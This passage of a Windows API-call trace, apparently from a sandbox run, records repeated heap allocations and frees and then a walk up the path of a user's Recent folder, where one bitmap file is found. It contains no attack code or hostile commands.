hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.983] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.983] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.984] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.985] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.986] PathFindFileNameW (pszPath="") returned="" [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.986] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0xffffffff [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0120.986] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.986] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) 